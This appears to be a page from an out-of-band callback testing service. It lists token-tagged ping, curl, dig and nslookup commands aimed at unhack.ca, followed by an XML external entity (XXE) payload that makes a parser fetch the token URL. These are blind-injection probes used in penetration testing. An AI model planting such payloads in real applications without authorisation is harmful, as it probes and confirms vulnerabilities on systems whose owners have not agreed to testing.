$ ping -c1 -p 005b40c63079940c3618801822176d00 unhack.ca
 

$ curl http://unhack.ca/p/5b40c63079940c3618801822176d
 

$ dig 5b40c63079940c3618801822176d @unhack.ca
 

$ dig 5b40c63079940c3618801822176d.ns.unhack.ca
 

C:\> nslookup 5b40c63079940c3618801822176d unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5b40c63079940c3618801822176d">]>
    <foo>&xxe;</foo>